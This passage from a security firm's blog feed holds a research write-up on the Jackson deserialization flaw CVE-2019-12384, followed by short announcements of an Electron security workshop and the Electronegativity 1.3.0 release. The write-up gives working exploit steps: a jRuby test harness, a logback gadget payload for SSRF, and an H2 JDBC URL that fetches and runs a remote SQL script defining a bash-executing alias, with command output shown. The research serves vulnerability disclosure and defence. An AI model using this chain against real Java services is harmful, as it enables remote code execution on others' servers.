the class to be deserialized. In this article, we want to show how an attacker may leverage this deserialization vulnerability to trigger attacks such as Server-Side Request Forgery (SSRF) and remote code execution.&lt;/p&gt;

&lt;p&gt;This research also resulted in a new &lt;a href=&quot;https://access.redhat.com/security/cve/cve-2019-12384&quot;&gt;CVE-2019-12384&lt;/a&gt; and a bunch of RedHat products affected by it:&lt;/p&gt;

&lt;!-- put image about the impact --&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/images/jackson-impact.png&quot; alt=&quot;Vulnerability Impact&quot; align=&quot;center&quot; width=&quot;500&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-is-required&quot;&gt;What is required?&lt;/h2&gt;

&lt;p&gt;As reported by Jackson’s author in
&lt;a href=&quot;https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96&quot;&gt;On Jackson CVEs: Don’t Panic — Here is what you need to know&lt;/a&gt; the requirements
for a Jackson “gadget” vulnerability are:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;(1) The application accepts JSON content sent by an untrusted client (composed either manually or by a code
you did not write and have no visibility or control over) — meaning that you can
not constrain JSON itself that is being sent&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;(2) The application uses polymorphic type handling for properties with nominal type of
&lt;em&gt;java.lang.Object&lt;/em&gt; (or one of small number of “permissive” tag interfaces such as 
&lt;em&gt;java.util.Serializable&lt;/em&gt;, &lt;em&gt;java.util.Comparable&lt;/em&gt;)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;(3) The application has at least one specific “gadget” class to exploit in the Java classpath. In detail, exploitation requires a class that works with Jackson. In fact, most gadgets only work with specific libraries — e.g. most commonly reported ones work with JDK serialization&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;(4) The application uses a version of Jackson that does not (yet) block the specific “gadget” class. There is a set of published gadgets which grows over time so it is a race between people finding and reporting gadgets and the patches. Jackson operates on a blacklist. The deserialization is a “feature” of the platform and they continually update a &lt;a href=&quot;https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java&quot;&gt;blacklist of known gadgets that people report&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In this research we assumed that the preconditions (1) and (2) are satisfied. Instead, we concentrated
on finding a gadget that could meet both (3) and (4). Please note that Jackson is one of the most used deserialization frameworks for Java applications
where polymorphism is a first-class concept. Finding these conditions
comes at zero-cost to a potential attacker who may use
&lt;a href=&quot;https://find-sec-bugs.github.io/bugs.htm#JACKSON_UNSAFE_DESERIALIZATION&quot;&gt;static analysis tools&lt;/a&gt;
or other dynamic techniques, such as grepping for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@class&lt;/code&gt; in request/responses, to find these targets.&lt;/p&gt;

&lt;h2 id=&quot;preparing-for-the-battlefield&quot;&gt;Preparing for the battlefield&lt;/h2&gt;

&lt;p&gt;During our research we developed a tool to assist the discovery of such vulnerabilities. When Jackson deserializes
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ch.qos.logback.core.db.DriverManagerConnectionSource&lt;/code&gt;, this class can be abused to
instantiate a JDBC connection. JDBC stands for (J)ava (D)ata(b)ase (C)onnectivity.
JDBC is a Java API to connect and execute a query with the database and it
is a part of JavaSE (Java Standard Edition). Moreover, JDBC uses an automatic
string to class mapping, as such it is a perfect target to load and execute
even more “gadgets” inside the chain.&lt;/p&gt;

&lt;p&gt;In order to demonstrate the attack, we prepared a wrapper in which
we load arbitrary polymorphic classes specified by an attacker.
For the environment we used &lt;a href=&quot;https://www.jruby.org/&quot;&gt;jRuby&lt;/a&gt;, a ruby implementation running on top of the Java Virtual Machine (JVM). With its integration on top of the JVM, we can easily load and instantiate Java classes.&lt;/p&gt;

&lt;p&gt;We’ll use this setup to load Java classes easily in a given directory and prepare the Jackson environment to meet
the first two requirements (1,2) listed above. In order to do that, we implemented the following &lt;a href=&quot;https://www.jruby.org/&quot;&gt;jRuby&lt;/a&gt; script.&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'java'&lt;/span&gt;
&lt;span class=&quot;no&quot;&gt;Dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;./classpath/*.jar&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;java_import&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'com.fasterxml.jackson.databind.ObjectMapper'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;java_import&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'com.fasterxml.jackson.databind.SerializationFeature'&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;content&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ARGV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Mapping&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;mapper&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ObjectMapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;mapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;enableDefaultTyping&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;mapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;configure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SerializationFeature&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;FAIL_ON_EMPTY_BEANS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Serializing&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;readValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;java_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# invokes all the setters&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;objectified&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;stringified: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;writeValueAsString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The script proceeds as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;At line 2, it loads all of the classes contained in the Java Archives (JAR) within the “classpath” subdirectory&lt;/li&gt;
  &lt;li&gt;Between lines 5 and 13, it configures Jackson in order to meet requirements (#2)&lt;/li&gt;
  &lt;li&gt;Between lines 14 and 17, it deserializes and serializes a polymorphic Jackson object passed to jRuby as JSON&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;memento-reaching-the-gadget&quot;&gt;Memento: reaching the gadget&lt;/h2&gt;

&lt;p&gt;For this research we decided to
use gadgets that are widely used by the Java community. All the libraries
targeted in order to demonstrate this attack are in the top 100 most common libraries in the &lt;a href=&quot;https://search.maven.org/&quot;&gt;Maven central&lt;/a&gt;
repository.&lt;/p&gt;

&lt;p&gt;To follow along and to prepare for the attack, you can download the following libraries and put them in the “classpath” directory:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.8/jackson-databind-2.9.8.jar&quot;&gt;jackson-databind-2.9.8&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-annotations/2.9.8/jackson-annotations-2.9.8.jar&quot;&gt;jackson-annotations-2.9.8&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.9.8/jackson-core-2.9.8.jar&quot;&gt;jackson-core-2.9.8&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://central.maven.org/maven2/ch/qos/logback/logback-core/1.3.0-alpha4/logback-core-1.3.0-alpha4.jar&quot;&gt;logback-core-1.3.0-alpha4&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://central.maven.org/maven2/com/h2database/h2/1.4.199/h2-1.4.199.jar&quot;&gt;h2-1.4.199&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It should be noted the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h2&lt;/code&gt; library is not required to perform SSRF, since our experience suggests that
most of the time Java applications load at least one JDBC Driver. JDBC Drivers are classes that, when
a JDBC url is passed in, are automatically instantiated and the full URL is passed to them as an argument.&lt;/p&gt;

&lt;p&gt;Using the following command, we will call the previous script with the aforementioned classpath.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;jruby test.rb &lt;span class=&quot;s2&quot;&gt;&quot;[&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ch.qos.logback.core.db.DriverManagerConnectionSource&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;, {&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;jdbc:h2:mem:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;}]&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On line 15 of the script, Jackson will recursively call all of the setters with the key
contained inside the subobject. To be more specific, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setUrl(String url)&lt;/code&gt; is called with arguments by
the Jackson reflection library. After that phase (line 17) the full object is serialized into a JSON
object again. At this point all the fields are serialized directly, if no getter is defined,
or through an explicit getter. The interesting getter for us is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getConnection()&lt;/code&gt;.
In fact, as an attacker, we are interested in all &lt;a href=&quot;http://tutorials.jenkov.com/java-functional-programming/index.html#pure-functions&quot;&gt;“non pure” methods&lt;/a&gt;
that have interesting side effects where we control an argument.&lt;/p&gt;

&lt;p&gt;When the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getConnection&lt;/code&gt; is called, an in memory database is instantiated. Since the application
is short lived, we won’t see any meaningful effect from the attacker’s perspective. In order to do something more meaningful
we create a connection to a remote database. If the target application is deployed as a remote service, 
an attacker can generate a Server Side Request Forgery (SSRF). The following screenshot is an example of this scenario.&lt;/p&gt;

&lt;!-- put screenshot here --&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/images/jackson-chain.png&quot; alt=&quot;Jackson Chain&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;enter-the-matrix-from-ssrf-to-rce&quot;&gt;Enter the Matrix: From SSRF to RCE&lt;/h2&gt;

&lt;p&gt;As you may have noticed both of these scenarios lead to DoS and SSRF. While those attacks may affect the application security, we want to show you a simple and effective technique
to turn a SSRF into a full chain RCE.&lt;/p&gt;

&lt;p&gt;In order to gain full code execution in the context of the
application, we employed the capability of loading the &lt;a href=&quot;http://www.h2database.com/html/features.html&quot;&gt;H2&lt;/a&gt; JDBC Driver. 
&lt;a href=&quot;http://www.h2database.com/html/features.html&quot;&gt;H2&lt;/a&gt; is a super fast SQL database usually employed as in memory replacement for full-fledged
SQL Database Management Systems (such as Postgresql, MSSql, MySql or OracleDB).
It is easily configurable and it actually supports many modes such as
in memory, on file, and on remote servers. H2 has the capability to run SQL scripts from the JDBC URL, which was added in order to have an in-memory database that supports init
&lt;a href=&quot;https://edgeguides.rubyonrails.org/active_record_migrations.html&quot;&gt;migrations&lt;/a&gt;.
This alone won’t allow an attacker to actually execute Java code inside the JVM
context. However &lt;a href=&quot;http://www.h2database.com/html/features.html&quot;&gt;H2&lt;/a&gt;, since it was
implemented inside the JVM, &lt;a href=&quot;https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html&quot;&gt;has the capability to specify custom aliases containing
java code&lt;/a&gt;.
This is what we can abuse to execute arbitrary code.&lt;/p&gt;

&lt;p&gt;We can easily serve the following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inject.sql&lt;/code&gt; INIT file through a simple http server such as a python one (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python -m SimpleHttpServer&lt;/code&gt;).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {&quot;bash&quot;, &quot;-c&quot;, cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter(&quot;\\A&quot;);
	return s.hasNext() ? s.next() : &quot;&quot;;  }
$$;
CALL SHELLEXEC('id &amp;gt; exploited.txt')
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And run the tester application with:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;jruby test.rb &lt;span class=&quot;s2&quot;&gt;&quot;[&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ch.qos.logback.core.db.DriverManagerConnectionSource&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;, {&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;}]&quot;&lt;/span&gt;
...
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;exploited.txt
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;501&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;...&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;20&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;staff&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;20&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;staff&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,12&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;everyone&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,61&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;localaccounts&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,79&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;_appserverusr&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,80&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;admin&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,81&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;_appserveradm&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,98&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;_lpadmin&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,501&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;access_bpf&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,701&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;com.apple.sharepoint.group.1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,33&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;_appstore&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,100&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;_lpoperator&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,204&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;_developer&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,250&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;_analyticsusers&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,395&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;com.apple.access_ftp&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,398&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;com.apple.access_screensharing&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,399&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;com.apple.access_ssh&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Voila’!&lt;/p&gt;

&lt;h2 id=&quot;iterative-taint-tracking&quot;&gt;Iterative Taint-Tracking&lt;/h2&gt;

&lt;p&gt;Exploitation of deserialization vulnerabilities is complex and takes time. When conducting a product security review,  time constraints can make it difficult to find the appropriate gadgets to use in exploitation. On the other end, the Jackson blacklists are updated on a monthly basis while users of this mechanism (e.g. enterprise applications) may have yearly release cycles.&lt;/p&gt;

&lt;p&gt;Deserialization vulnerabilities are the typical needle-in-the-haystack problem. On the one hand, identifying a vulnerable entry point is an easy task, while finding a useful gadget may be time consuming (and tedious).
At Doyensec we developed a technique to find useful Jackson gadgets to facilitate the latter effort.
We built a static analysis tool that can find serialization gadgets through
&lt;a href=&quot;https://en.wikipedia.org/wiki/Taint_checking&quot;&gt;taint-tracking&lt;/a&gt; analysis.
We designed it to be fast enough to run multiple times and iterate/improve through a custom and extensible rule-set language.
On average a run on a Macbook PRO i7 2018 takes 2 minutes.&lt;/p&gt;

&lt;!-- put a picture here of taint tracking --&gt;
&lt;p&gt;&lt;img src=&quot;../../../public/images/jackson-taint.png&quot; alt=&quot;Jackson Taint Tracking&quot; align=&quot;center&quot; width=&quot;500&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Taint-tracking is a topical academic research subject.
Academic research tools are focused on a very high recall and precision.
The trade-off lies between high-recall/precision versus speed/memory.
Since we wanted this tool to be usable while testing commercial grade products
and we valued the customizability of the tool by itself, we focused on speed and usability instead of high recall.
While the tool is inspired by other research such as &lt;a href=&quot;https://blogs.uni-paderborn.de/sse/tools/flowdroid/&quot;&gt;flowdroid&lt;/a&gt;,
the focus of our technique is not to rule out the human analyst. Instead, we believe in augmenting manual testing and exploitation with customizable &lt;a href=&quot;https://doyensec.com/automation.html&quot;&gt;security automation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This research was possible thanks to the &lt;a href=&quot;https://doyensec.com/careers.html&quot;&gt;25% research time&lt;/a&gt; at Doyensec. Tune in again for new episodes.&lt;/p&gt;

&lt;p&gt;That’s all folks! Keep it up and be safe!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Electron Security Workshop</title>
   <link href="https://blog.doyensec.com/2019/07/03/electron-security-workshop.html"/>
   <updated>2019-07-03T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2019/07/03/electron-security-workshop</id>
   <content type="html">&lt;h2 id=&quot;2-days-training-on-how-to-build-secure-electron-applications&quot;&gt;2-Days Training on How to Build Secure Electron Applications&lt;/h2&gt;

&lt;p&gt;We are excited to present our brand-new class on Electron Security! This blog post provides a general overview of the 2-days workshop.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/electronlogo.png&quot; width=&quot;400&quot; alt=&quot;ElectronJS Logo&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With the increasing popularity of the &lt;a href=&quot;https://electronjs.org/&quot;&gt;ElectronJs Framework&lt;/a&gt;, we decided to create a class that teaches students how to build and maintain secure desktop applications that are resilient to attacks and common classes of vulnerabilities. Building secure Electron applications is possible, but complicated. 
You need to know the framework, follow its evolution, and constantly update and devise in depth defense mechanisms to mitigate its deficiencies.&lt;/p&gt;

&lt;p&gt;Our training begins with an overview of Electron internals and the life cycle of a typical Electron-based application.
After a quick intro, we will jump straight into threat modeling and attack surface. We will analyze what are the common root causes for misconfigurations and vulnerabilities.
The class will be centered around two main topics: subverting the framework and breaking the custom application code.  We will present security misconfigurations, security anti-patterns, &lt;em&gt;nodeIntegration&lt;/em&gt; and &lt;em&gt;sandbox&lt;/em&gt; bypasses, insecure &lt;em&gt;preload&lt;/em&gt; bugs, prototype pollution attacks, &lt;em&gt;affinity&lt;/em&gt; abuses and much more.&lt;/p&gt;

&lt;p&gt;The class is hands-on with many live examples. The exercises and scenarios will help students understand how to identify vulnerabilities and build mitigations. Throughout the class, we will also have a few Q&amp;amp;A panels to answer all questions attendees might have and potentially review their code.&lt;/p&gt;

&lt;p&gt;If you’re interested, check out this short teaser:&lt;/p&gt;

&lt;style&gt;
.videoWrapper {
    position: relative;
    padding-bottom: 56.25%; /* 16:9 */
    padding-top: 25px;
    height: 0;
}
.videoWrapper iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
}
&lt;/style&gt;

&lt;div class=&quot;videoWrapper&quot;&gt;
	&lt;iframe width=&quot;560&quot; height=&quot;349&quot; src=&quot;https://www.youtube.com/embed/oTJOE6LOPks&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;h3 id=&quot;audience-profile&quot;&gt;Audience Profile&lt;/h3&gt;

&lt;p&gt;Who should take this course?&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;JavaScript and Node.js Developers&lt;/li&gt;
  &lt;li&gt;Security Engineers&lt;/li&gt;
  &lt;li&gt;Security Auditors and Pentesters&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We will provide details on how to find and fix security vulnerabilities, which makes this class suitable for both blue and red teams.
Basic JavaScript development experience and basic understanding of web application security (e.g. XSS) is required.&lt;/p&gt;

&lt;h3 id=&quot;general-information&quot;&gt;General Information&lt;/h3&gt;

&lt;p&gt;Attendees will receive a bundle with all material, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Workshop presentation (over 200 slides)&lt;/li&gt;
  &lt;li&gt;Code, exploits and artifacts of all exercises&lt;/li&gt;
  &lt;li&gt;Certificate of completion&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This 2-days training is delivered in English, either remotely or on-site (worldwide).&lt;/p&gt;

&lt;p&gt;Doyensec will accept up to 15 attendees per tutor. If the number of attendees exceeds the maximum allowed, Doyensec will allocate additional tutors.&lt;/p&gt;

&lt;p&gt;We’re a flexible security boutique and can further customize the agenda to your specific company’s needs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Feel free to contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt; for scheduling your class!&lt;/strong&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Electronegativity 1.3.0 released!</title>
   <link href="https://blog.doyensec.com/2019/06/11/electronegativity-1.3.html"/>
   <updated>2019-06-11T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2019/06/11/electronegativity-1.3</id>
   <content type="html">&lt;p&gt;After the first public release of &lt;a href=&quot;https://github.com/doyensec/electronegativity&quot;&gt;Electronegativity&lt;/a&gt;, we had a great response from the community and the tool quickly became the baseline for every Electron app’s security review for many professionals and organizations. This pushed us forward, improving Electronegativity and expanding our research in the field. &lt;strong&gt;Today we are proud to release &lt;a href=&quot;https://github.com/doyensec/electronegativity/releases/tag/v1.3.0&quot;&gt;version 1.3.0&lt;/a&gt; with many new improvements and security checks for your Electron applications.&lt;/strong&gt;&lt;/p&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; muted=&quot;&quot; autoplay=&quot;autoplay&quot; poster=&quot;../../../public/images/electronegativity-1-3.png&quot; loop=&quot;&quot;&gt;
    &lt;source src=&quot;../../../public/images/electronegativity-1-3.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;We’re also excited to announce that &lt;strong&gt;the tool has been accepted for &lt;a href=&quot;https://www.blackhat.com/us-19/arsenal/schedule/#electronegativity-identify-misconfigurations-and-security-anti-patterns-in-electron-applications-15485&quot;&gt;Black Hat USA Arsenal 2019&lt;/a&gt;&lt;/strong&gt;, where it will be showcased at the Mandalay Bay in Las Vegas. We’ll be at Arsenal Station 1 on August 7, from 4:00 pm to 5:20 pm. Drop by to see live demonstrations of Electronegativity hunting real Electron applications for vulnerabilities (or just to say hi and collect Doyensec socks)!&lt;/p&gt;

&lt;p&gt;If you’re simply interested in trying out what’s new in Electronegativity, go ahead and update or install it using NPM:&lt;/p&gt;

